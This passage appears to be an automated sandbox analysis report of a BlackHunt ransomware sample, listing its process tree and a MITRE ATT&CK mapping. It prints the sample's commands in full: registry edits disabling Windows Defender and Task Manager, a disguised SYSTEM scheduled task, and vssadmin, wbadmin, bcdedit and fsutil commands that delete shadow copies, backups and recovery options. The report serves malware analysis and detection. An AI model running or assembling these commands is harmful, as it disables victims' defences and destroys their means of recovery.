  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:4196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:5024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe" /F
  2⤵
  PID:2888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\758c63ea4143e46cd712493d7bfdb5d8622db954166cb16c2eeddd8911c8cc94.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4044
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1168
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4276
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2568
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3888
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5092
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:804
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5048
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:552
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4296
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5524

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2028

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5388

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery